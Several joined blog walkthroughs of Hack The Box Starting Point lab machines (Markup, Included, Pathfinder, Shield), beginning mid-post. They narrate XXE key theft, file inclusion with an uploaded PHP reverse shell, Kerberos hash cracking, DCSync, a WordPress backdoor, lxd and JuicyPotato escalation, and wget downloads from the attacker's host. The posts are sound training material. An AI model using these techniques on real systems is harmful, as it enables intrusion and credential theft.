Right, it looks like we don’t have permissions to access the socket at all. Not good. Well I guess it’s time for some SSH magic. You can pipe commands through SSH which should allow me to run linPEAS on the remote host from a script on my local system.
Honestly, nothing quite beats the feeling you get when you do something hacky and it works. Now linPEAS was running on the remote host it was time to go through the output. I noticed some interesting things.
Firstly, root could login with a password rather than requiring a public and private key pair. I’m not sure if this is going to make things harder or easier at this point but it’s good to take note of it.
[+] Looking for specific hashes inside files — less false positives (limit 70) /var/backups/shadow:$6$2EEJjgy86KrZ.cbl$oCf1MzIsN7N9KziBNo7uYrHLueZLM7wySrsFYxlNtO5NVhfVsyWCSKiIURNUxOOwC0tm1kyQsiv93imCwLM0k1
It looks like linPEAS was able to grab a hash from a backup shadow file. This has got to be the way we get on to the box as root. lets check out the backup file.
I’ve snipped out the stuff we don’t need and you can see that the backup file contains the hashes for both root and daniel. Ok let’s grab a copy of it and crack it offline. It should be noted that I also noticed I could cat the /etc/passwd file. With that in mind I grabbed a copy of that too as I was going to use unshadow and attempt to crack it with JohnTheRipper.
The password turned out to be “password#1”. I honestly think we could have brute forced that quite quickly but alas, we were then able to login to the machine as root and capture the root flag.
└──╼ [★]$ ssh [email protected][email protected]’s password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0–88-generic x86_64)
Last login: Mon Sep 13 15:50:13 2021 from 10.10.14.31
[email protected]:~# cat root.txt
386*******************f681
And we’re hack to hack the starter track. By that I mean it’s time to hack another machine from the Starting Point of Hack The Box. I have been going through the Starting Point machines one by one and so far we have been able to hack Archetype, Oopsie, Vaccine, Shield, Pathfinder and Included. Now it’s time to move on to Markup!
This is a great box which took me longer than it should have due to my own mistakes. Oh well, it was great fun and I felt silly after I realised what I was doing wrong.
Reconnaissance
So first we ping.
└──╼ [★]$ sudo ping 10.10.10.49 | tee -a ping.10.10.10.49.txt [sudo] password for joe: PING 10.10.10.49 (10.10.10.49) 56(84) bytes of data. 64 bytes from 10.10.10.49: icmp_seq=1 ttl=127 time=240 ms
“IT IS ALIVVEE” so lets go ahead and nmap this sucker.
└──╼ [★]$ sudo nmap -sC -sV -p0- -T4 10.10.10.49 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0) | ssh-hostkey: | 3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA) 80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28) | http-cookie-flags:
I’ve snipped out the parts we don’t need to see. So we have a web server and Secure Shell running. This is a Windows box right? okie dokie lets take a look at the website.
Markup Website Login
Ok so not a lot going on. I had a quick poke at it with Nikto and dirb but I didn’t find anything that interesting. Lets try the credentials we recovered from the previous box Pathfinder.
Markup Website Login
Ok great, those seem to have worked. The website has some basic functionality that allows you to place orders. If we capture the request and look at it with Burp we can see that it’s using XML. Furthermore, we can perform an XML injection (XXE External Entity Injection) attack to receive the contents of the win.ini file.
Ok so we know we can grab files through the XXE attack, whats next? Wasn’t there and SSH port open when we performed the nmap scan? Ok lets find out where Windows stores it’s SSH keys. So by pointing our payload at the .ssh/id_rsa file we should be able to recover the private key.
Ok so I grabbed the key and saved it in a file called daniel.key. Make sure to place this in a directory that you own and make sure to change the file permissions to 600. You can do that using chmod 600 file.ext. So next we try to SSH to the server with Daniels key.
SSH to Markup
Woop, we have access to the box, let’s see if we can grab the user.txt from Daniel’s desktop.
We are on the box and have successfully captured the user flag, we need to find a way to escalate our privileges to administrator to capture that all elusive root.txt flag. I downloaded winPEAS and hosted it using the python http module. Once the file was downloaded to the target machine I ran it to see if there were any interesting files.
Ok so after a bit of digging around I found a couple of things that I thought would be useful. The first one was a password, it didn’t seem to work for the administrator though but yoink, will keep that for later.
The next thing winPEAS found was an interesting directory and file that all users appeared to have access to.
Privilege Escalation Hack
This isn’t a typical directory or file you find on a Windows system so it was worth investigating. I ran the icacls command on the file to see what permissions were assigned to it.
So it looks like built in users have full control over the file, that includes daniel. Ok so lets see what the file is actually doing. Using the type command it was possible to read the contents of the file.
[email protected] C:\Users\daniel\Documents>type C:\Log-Management\job.bat
@echo off
FOR /F “tokens=1,2*” %%V IN (‘bcdedit’) DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F “tokens=*” %%G in (‘wevtutil.exe el’) DO (call :do_clear “%%G”)
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
So the script appears be an automated script to clear the logs but it requires being an admin to run it. So I had a look at a walkthrough at this point and noticed that others had said the script was running as a scheduled task and that whatever command you echo in to the file would be executed the next time it ran. I had a look at the scheduled tasks and couldn’t find it. I ran schtasks and there was nothing in there relating to job.bat. If you know how this was initially found then please let me know.
So with that in mind I set about dropping a copy of netcat on the box using the same method we used to deliver winPEAS.
Then once the file was on the box, I echoed a command in to the job.bat file to tell it to execute nc64.exe or nc.exe (whichever you want to use) and connect back to my machine.
So this is where I messed up for the longest time. It was a really really silly mistake too. In order to make my life a bit easier, I upgraded from a Command Prompt session to a PowerShell session. Then whenever I ran the following command:
It would error and tell me that ‘e’ was too ambiguous, who knew the letter e could be so open to interpretation. Well anyway, I spent about an hour enclosing it with quotation marks and all the other stuff you do to try and echo a string in to the file. I even went as far as to encode it with base64. The string was being echoed in to the file but the shell wasn’t coming back to my local machine. To make matters worse, the file was being overwritten every time it ran so I felt like there was a problem with the machine.
Well there wasn’t a problem with the machine, there was a problem with my brain. I dropped down to Command Prompt from PowerShell, ran the command without any quotation marks, the ‘e’ was accepted and within seconds I had a reverse shell with Administrator privileges, and then I captured the root.txt flag.
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt type C:\Users\Administrator\Desktop\root.txt f57XXXXXXXXXXXXXXXXX0f8
So if you get to this point on the machine and you’re pulling your hair out wondering why your exploit wont work. Try changing from PowerShell to CMD when echoing the string to the job.bat and see if that works. Lesson learned. One thing I did find interesting though was that I created a payload using MSFVenom and dropped that on the box. I echoed the location in to the script but still didn’t get a shell when it executed. I ran type on the file to confirm that the text had been added. Very odd.
Ok it’s time to hack another machine from the Hack The Box Starting Point series. We have already managed to hack Archetype, Oopsie, Vaccine, Shield and Pathfinder. Today we are looking at the Included machine. This was a really fun box despite a frustrating ending. This box is fairly simple to start off with provided you notice everything that is going on.
Reconnaissance
So first of all we ping the box to see if it’s up.
└──╼ [★]$ sudo ping 10.10.10.55 | tee -a ping.txt PING 10.10.10.55 (10.10.10.55) 56(84) bytes of data. 64 bytes from 10.10.10.55: icmp_seq=1 ttl=63 time=21.5 ms
Next we run our nmap scan.
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.55 | tee -a nmap.10.10.10.55.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–11 16:30 BST
Nmap scan report for 10.10.10.55
Host is up (0.022s latency).
Not shown: 65535 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn’t have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.10.55/?file=index.php
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Ok so only a webserver is running, or is it? So I went to poke at the website and immediately saw that the website was calling the index.php using a file parameter. Caught my eye because it seemed like quite an obvious naming convention for accessing files. So naturally I pointed it straight at the /etc/passwd file and immediately had the file returned back to me.
Hack The Box Included File InclusionHack The Box Included /etc/passwd
Sweet where now? Well as other guides have mentioned, there is an interesting user in the /etc/passwd file. As you can see from the tool ouput below, the user tftp exists at the very bottom of the file with the home directory of /var/lib/tftpboot.
Interesting, I confirmed that TFTP was open, it listens on UDP rather than TCP which is why our Nmap scan missed it. At this point I would also like to point out that Nessus missed the TFTP service too. It also missed the directory traversal vulnerability which I also felt was odd since I asked it to san for web vulnerabilities. Nikto also missed the directory traversal vulnerability so this is an important lesson that you can’t always rely on tools
Hack The Box Nessus Output
Foothold Hack
Anyway I’m getting side tracked. I pinched the tried and tested pentestmonkey/php-reverse-shell and configured it for my IP address and port. I then uploaded the file to the machine using tftp.
└──╼ [★]$ tftp 10.10.10.55 tftp> put phpshell.php phpshell.php Sent 5681 bytes in 0.4 seconds tftp>
Once that was uploaded to the server I created my netcat listener and then ran curl against the URL to get a shell.
I checked out the history and ran a few other tools but nothing of much interest. There was a user called mike by listing out the /home directory. I guess this is the user we need to escalate to, to proceed further. It looks like mike has the user.txt flag in his home directory to so this confirmed my suspicious. After failing for a while I decided to try and switch user to Mike using the password found on the previous machine Pathfinder. Yeah it worked.
bash-4.4$ ls /home/mike ls /home/mike alpine-v3.14-x86_64–20210909_2211.tar.gz user.txt bash-4.4$ cat /home/mike/user.txt cat: /home/mike/user.txt: Permission denied bash-4.4$ su mike su mike Password: Sheffield19
So what next? Well it was time to perform some more enumeration on the machine. I grabbed a copy of Linpeas and hosted on my machine using Python’s simple http server. I then downloaded the script and ran it. Unfortunately, my VM crashed before I had chance to save the output but it turns out mike is a member of the lxd group.
At this point I checked the official walkthrough and attempted to follow the instructions. However for whatever reason I couldn’t get the lxd-alpine-builder script to work at all. Every time I ran the script, I just kept getting an error message telling me there was an invalid parameter. I tried to strace the script but the information it provided wasn’t much help either.
Privilege Escalation Hack
After a bit of google fu I found this awesome article by hacktricks.xyz that essentially does the same thing but differently. So, I got to following the instructions there and created the image.
sudo su
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
sudo go get -d -v github.com/lxc/distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
With the image and the rootfs.squashfs file ready, I started the python server again and downloaded the files from my local machine to the Included machine.
[email protected]:~$ wget http://10.10.14.38/rootfs.squashfs
2021–09–11 18:02:14 — http://10.10.14.38/rootfs.squashfs
Connecting to 10.10.14.38:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2318336 (2.2M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 2.21M 3.17MB/s in [email protected]:~$ wget http://10.10.14.38/lxd.tar.xz
2021–09–11 18:03:40 — http://10.10.14.38/lxd.tar.xz
Connecting to 10.10.14.38:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 884 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 884 — .-KB/s in 0.005s
With the files now on the machine, I imported the image, configured it and ran it.
Welcome back to haXez, a place where I hack boxes and write about them. I’m not pretending to be an elite hacker. in fact I hardly know anything. This place is for learning and for me to document my progress. We are currently working our way through the Starting Point on Hack The Box, so far we have managed to hack the following machines: Archetype, Oopsie, Vaccine and Shield. Today we are looking at Pathfinder.
This box was a lot of fun and straight forward thanks to the walkthrough from h4rithd. Yes, I’m using walkthroughs… Honestly though, a lot of the time on Hack The Box, the problem is knowing which questions to ask. If you don’t know about a certain tool or about that specific weakness in a software configuration. Then you could be looking for hours or even days to find a foothold. I’m here to learn about these tools and software configuration weaknesses. Not spend hours researching all the potential ways they could be exploited. Anyway, with that out the way, lets begin.
Reconnaissance
First I spun up the machine and connected to the VPN. Next I pinged the box to see if it was responding and yep, the machine started talking to me.
└──╼ [★]$ ping 10.10.10.30 PING 10.10.10.30 (10.10.10.30) 56(84) bytes of data. 64 bytes from 10.10.10.30: icmp_seq=1 ttl=127 time=21.6 ms
So what do we do next? We nmap of course.
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.30 | tee -a nmap.txt PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49683/tcp open msrpc Microsoft Windows RPC 49698/tcp open msrpc Microsoft Windows RPC 49717/tcp open msrpc Microsoft Windows RPC Network Distance: 2 hops TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: PATHFINDER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h06m49s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2021–09–11T17:34:17 |_ start_date: N/A
Well hello Domain Controller, have you come to tell me your secrets? Ok so there are a lot of services listening but the most important ones on a Domain Controller are usually: Server Message Block (SMB 445), Lightweight Directory Access Protocol (LDAP 389) and Kerberos (88). I did however immediately notice that port 53 TCP was open. Port 53 is used for DNS but you would normally only see it on UDP. If port 53 TCP is open then it usually means that the protocol is accepting DNS Zone transfer requests. Alas, hack failed, this one didn’t tell me anything.
└──╼ [★]$ dig axfr @10.10.10.30 MEGACORP ; <<>> DiG 9.16.15-Debian <<>> axfr @10.10.10.30 MEGACORP ; (1 server found) ;; global options: +cmd ; Transfer failed. :-(
So with that rabbit hole out the way it was time to look at Server Message Block. We need to see if it had been misconfigured to allow the listing of shares and stuff. I first ran enum4linux in hopes that it would give me some information. Honestly though, the tool just doesn’t seem to work that often. So next I used smbclient to see what was going on.
The Anonymous login was successful but there was nothing on there. Hmmm another dead end. Ok then, lets focus on LDAP and see what information we can interrogate out of it. At first I was getting nowhere. I got a bit of information out from the protocol using ldapsearch but nothing substantial.
So what was next? Well this is where I turned to the walkthrough written by h4rithd. Honestly I wouldn’t have gotten any further if it wasn’t for this walkthrough. So it turns out that the Sandra user on the Shield box was quite important. I should have learnt my lesson by now but as soon as I get the root flag, I log off write up. Sandra appears to exist on this box and we can use their credentials to do some enumeration. Enter ldapdomaindump, this tool is cool. Running ldapdomaindump with sandra’s credentials we get a bunch of html files containing information about the domain.
Domain usersDomain users by groupKerberos DONT_REQ_PREAUTH
Foothold Hack
The one user that should grab our attention is the svc_bes as it doesn’t require Kerberos pre authentication. If pre authentication isn’t required, then we can trick Kerberos in to giving us an encrypted Ticket Granting Ticket hash. We can then hack or crack it offline. I’m getting ahead of myself, more about that later. So lets grab that TGT hash! Using the Impacket tool GetNPUsers.py we can request the TGT for the svc_bes user.
Yummmm, don’t you just love the smell of hashes in the morning, or anytime for that matter. Ok so what’s next? Well we need to talk to our mate John and ask him to do the dirty work. No I don’t me kill him. I mean crack him really hard with a rock. Grab the hash output and chuck it in a file. Then using your favourite non escapable text editor vim, or nano. Then, tell John where your rock is and ask him politely to beat the secrets out of him.
└──╼ [★]$ sudo john beshash.txt — wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press ‘q’ or Ctrl-C to abort, almost any other key for status Sheffield19 ([email protected]) 1g 0:00:00:08 DONE (2021–09–11 12:22) 0.1157g/s 1227Kp/s 1227Kc/s 1227KC/s Sherbert!!..Shawnee Use the “ — show” option to display all of the cracked passwords reliably Session completed
Voila, the password is Sheffield19.
Story time, I once met Darren Kitchen from Hak5 in Sheffield when he was touring the UK on his motorcycle. I caught the train there from where I was staying for Uni and had a beer with him. Really cool guy but I couldn’t stay long as the last train was at midnight or something. Someone took a photo but I never got a copy. Hey photography man. If you’re out there, I would love the Picture of Darren and myself from the Hak5 Sheffield meet please.
Anyway, moving on. We now have the password and can use evil-winrm to hack in to the box and see what’s around.
└──╼ [★]$ evil-winrm -u svc_bes -p Sheffield19 -i 10.10.10.30
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_bes\Documents>
*Evil-WinRM* PS C:\Users\svc_bes\Desktop> type user.txt
b05XXXXXXXXXXXXXXXXX37f1
Privilege Escalation Hack
Turns out what was around was the user flag and now we have successfully captured it. Ok so what’s next? We have a vaid set of credentials. Lets see if we can try and dump some secrets using the impacket tool secretsdump.py. This tool performs a DCSync hack against the machine due to the trust that is provided by the authenticated user. This means it is possible to use the domain replication privileges of the authenticated user to gather information from the domain. Including password hashes. For it to work though, we need to know If our user has domain replication privileges.
This box gave me more trouble than I care to admit. I wouldn’t classify it as super easy that’s for sure. I have owned around 30 machines so far and this one was up there on the frustrated me list. If you’re new to the site then these posts are following the Starting Point on Hack The Box, we have already hacked Archetype, Oopsie and Vaccine.
Reconnaissance
There are other great guides out for this box and I’m not pretending that I’m the first to write a walkthrough for it. artilleryRed, eldruin and many others have written great guides which I had to use to hack this box. I’m writing this merely as a way for me to better understand the techniques used and to document my progress.
So first things first we perform our tried and tested nmap scan and wait for the results.
[10.10.15.199]─[[email protected]]─[/media/sf_admin/Shield/Output] └──╼ [★]$ nmap -Pn -sC -sV — min-rate=1000 -T4 -p0- 10.10.10.29PORT STATE SERVICE VERSION 80/tcp open tcpwrapped | http-methods: |_ Supported Methods: HEAD OPTIONS |_http-server-header: Microsoft-IIS/10.0 3306/tcp open tcpwrapped | mysql-info: |_ MySQL Error: Host ‘10.10.15.199’ is not allowed to connect to this MySQL server
It looks like we have a webserver and MySQL running so lets go and take a look at the webserver. Upon punching in the IP address we are greeted with a default Internet Information Services page. If we didn’t know before then we can deduct that this is a Windows box.
Ok so what else is there on this box, lets brute force the files and folders and see if there is anything that has been left behind by the creator.
Okie dokie, we have a WordPress content management system installed. WordPress is probably the most used content management system available now. It probably also has the most documentation on how you hack it to shreds. After poking at it for a bit and not making much progress I looked at a walkthrough and saw that they were using credentials that were found on a previous box. Turns out the credentials worked, while reading the official walkthrough I also noticed that they used the Metasploit module wp_admin_shell_upload to hack a shell on to the box. I tried this and had no luck what so ever. I’ve included my configuration below so you can check it and let me know if I was doing anything wrong. The exploit worked but no session was created, who knows.
Module options (exploit/unix/webapp/wp_admin_shell_upload): Name Current Setting Required Description — — — — — — — — — — — — — — — — — — - PASSWORD [email protected]! yes The WordPress password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port RHOSTS 10.10.10.29 yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>’ RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /wordpress yes The base path to the wordpress application USERNAME admin yes The WordPress username to authenticate with VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description — — — — — — — — — — — — — — — — — — — - LHOST 10.0.2.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Foothold Hack
So with that issue out the way I decided to log in to WordPress and poke around. I have managed to get a reverse shell before by editing the 404 PHP template and sticking a PHP reverse shell in there. In order to trigger it you just need to visit a page that doesn’t exist. Well no such luck on this machine, there is no 404 template. I tried a few other pages with PHP reverse shells but didn’t get anywhere. After this it was getting late so I gave up for the night.
The following day was much more productive. I edited the Single Post single.php file and stuck the simple-backdoor.php hack in there.
This script is awesome as it allows you to execute commands through the cmd parameter. With that saved to the single.php file it was time to test whether it worked. By calling the following URL it was possible to list the files in the directory where the script was being executed from.
Editing single.php with PHP backdoor
The following command was used to test wether the backdoor was working.
Now that we have command execution it is time to get on to the box via a reverse shell. In order to do this I created a reverse shell executable using MSFVenom.
With the hack created, I started a Python webserver that the Shield machine could connect too and download it. By pasting the following URL in the browser with the additional cmd parameter commands, the machine downloads and saves the reverse shell payload locally.
Bingo we have access to the box, what now? There is lots of tools out there that you can use to gather information about the host and look for potential privilege escalation paths. One such tool is winPEAS. I won’t go into the details of finding the escalation path but it turns out I needed to use Juicy Potato hack. This part of the machine was an absolute nightmare, no matter what Class ID I used, the hack failed. Well one machine reset later and pulling the first CLSID from the list found here and I had a shell back to my host with system.
In order to do this I first downloaded and uploaded JuicyPotato to the system using the same method as the reverse.exe payload. I also did the same with nc.exe. I then created a batch file with the following payload inside.
Once that was in place it was time to run JuicyPotato and invoke the shell.bat file to create a reverse shell back to my host. Make sure you have another listener running on your host ready to accept the connection.